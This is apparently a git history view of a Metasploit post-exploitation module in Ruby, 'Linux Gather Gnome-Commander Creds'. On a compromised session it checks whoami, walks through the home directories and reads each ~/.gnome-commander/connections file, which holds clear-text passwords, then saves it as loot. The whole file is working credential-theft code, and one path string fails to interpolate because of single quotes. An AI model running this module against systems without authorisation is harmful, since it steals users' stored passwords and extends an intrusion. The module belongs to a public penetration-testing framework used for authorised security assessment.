metasploit-framework/modules/post/linux/gather/gnome_commander_creds.rb

56 lines
1.8 KiB
Ruby
Raw Normal View History

2014-07-23 18:20:29 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Post
include Msf::Post::File
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather Gnome-Commander Creds',
'Description' => %q{
Gnome-commander stores clear text passwords in ~/.gnome-commander/connections file.
},
'License' => MSF_LICENSE,
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
'Platform' => %w{ linux },
'SessionTypes' => [ 'meterpreter', 'shell']
))
end
def run
user_dirs = []
user = cmd_exec("whoami").chomp
2014-07-24 21:18:26 +00:00
if (user == 'root')
2014-07-23 18:20:29 +00:00
print_status("Current user is #{user}, probing all home dirs")
user_dirs << '/root'
cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }
else
print_status("Current user is #{user}, probing /home/#{user}")
user_dirs << '/home/#{user}'
end
# Try to find connections file in users homes
user_dirs.each do |dir|
connections_file = "#{dir}/.gnome-commander/connections"
2014-07-24 21:30:26 +00:00
if file?(connections_file)
2014-07-23 18:20:29 +00:00
begin
2014-07-24 21:30:26 +00:00
str_file=read_file(connections_file)
2014-07-23 18:20:29 +00:00
print_good("File found : #{connections_file}")
2014-07-24 21:30:26 +00:00
vprint_line(str_file)
p = store_loot("connections", "text/plain", session, str_file, connections_file, "Gnome-Commander connections")
2014-07-24 21:10:00 +00:00
print_good ("Connections file saved to #{p}")
2014-07-23 18:20:29 +00:00
rescue EOFError
# If there's nothing in the file, we hit EOFError
2014-07-24 21:10:00 +00:00
print_error("Nothing read from file: #{connections_file}, file may be empty")
2014-07-23 18:20:29 +00:00
end
2014-07-24 21:30:26 +00:00
else
# File not found
print_error("File not found : #{connections_file}")
2014-07-23 18:20:29 +00:00
end
end
end
2014-07-24 21:36:32 +00:00
2014-07-23 18:20:29 +00:00
end